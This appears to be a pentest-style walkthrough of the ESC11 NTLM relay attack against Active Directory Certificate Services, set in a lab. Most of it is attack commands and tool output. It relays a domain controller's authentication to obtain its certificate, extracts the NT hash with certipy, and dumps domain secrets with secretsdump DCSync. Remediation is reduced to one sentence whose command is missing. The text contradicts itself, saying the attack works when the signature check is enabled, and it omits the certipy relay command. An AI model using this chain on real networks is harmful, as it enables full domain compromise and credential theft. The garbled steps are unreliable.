ADCS exposes an RPC endpoint for certificate enrollment. The endpoint MS-ICPR is an RPC interface. The RPC protocol allows each interface to define its NTLM signature management policy. In this case, the flag IF_ENFORCEENCRYPTICERTREQUEST determines if a signature check is performed. As the RPC protocol supports NTLM authentication, when there are no signature checks performed the endpoint is vulnerable (similar in concept to SMB NTLM relaying when SMB signing is disabled).
Default ADCS settings enforce the signature check. However, in some cases this may be disabled in ADCS in ensure compatability with legacy clients such as Windows Server 2012 and 2008. When this check is enabled, it becomes possible to perform a NTLM relay attack over the RPC endpoint.
Requirements for attack path
IF_ENFORCEENCRYPTICERTREQUEST flag is not enabled on the CA
[*] Targeting rpc://10.10.10.2 (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:10.10.10.2[135] to determine ICPR stringbinding
[*] Attacking user 'DC01$@SECURITY'
[*] Requesting certificate for user 'DC01$' with template 'DomainController'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 76
[*] Got certificate with DNS Host Name 'DC01.SECURITY.LOCAL'
[*] Certificate object SID is 'S-1-5-21-13999771-2333344039-1820745628-1000'
[*] Saved certificate and private key to 'dc01.pfx'
Alternitavely we can use a fork of impacket which supports the required RPC calls.
# Clone the fork
git clone https://github.com/sploutchy/impacket.git
cd impacket
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
# If issues are encountered it could be worth running the setup.py file
sudo python3 setup.py install
After setup execute ntlmrelayx.py, targeting the Certificate Authority and selecting the appropriate certificate template.
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.10.10.100, attacking target rpc://10.10.10.2
[*] Authenticating against rpc://10.10.10.2 as SECURITY/DC01$ SUCCEED
[*] SMBD-Thread-7 (process_request_thread): Connection from 10.10.10.100 controlled, but there are no more targets left!
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] Successfully requested certificate
[*] Request ID is 75
[*] Base64 certificate of user DC01$:
b'MIIR1QIBAzCCEY8GCSqGSIb3DQEHAaCCEYAEghF8MIIReDCCB68GCSqGSIb3DQEHB<-- Snip -->'
This Impacket fork does not appear to auto save the pfx file. We need to copy the Base64 encoded certificate data and either decode into a .pfx file or we can use the Base64 encoded data with Rubeus on Windows to generate a RC4 hash or Kerberos TGT.
Ensure when copying the data to only copy between the first ' and last '. As shown in the example above, the output is slightly malformed.
Regardless of using certipy or ntlmrelayx, we should now have a .pfx file for the system we performed coercion against. We can then use certipy to request credentials.
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.100
[*] Using principal: dc01$@security.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@security.local': aad3b435b51404eeaad3b435b51404ee:1fe859c38adaa592ad52559fd9ab584d
Post Exploitation
Various post-exploitation steps can be undertaken after obtaining a machine account hash. The below example will focus on post-exploitation with a Domain Controller hash.
DCSync
A simple approach would be to perform a DCsync with impacket-secretsdump using the domain controller hash obtained from the certificate.
# All data
impacket-secretsdump 'DC01$'@10.10.10.100 -hashes :1fe859c38adaa592ad52559fd9ab584d
# Single user
impacket-secretsdump 'DC01$'@10.10.10.100 -hashes :1fe859c38adaa592ad52559fd9ab584d -just-dc-user krbtgt
Silver Ticket
As an alternative option we can generate a silver ticket for a particular service such as CIFS and then gain direct command execution over the target, in this case the Domain Controller.
To resolve this issue the Certificate Authority needs to have enforced encryption on MS-ICPR requests. The following command should be issued on the ADCS server.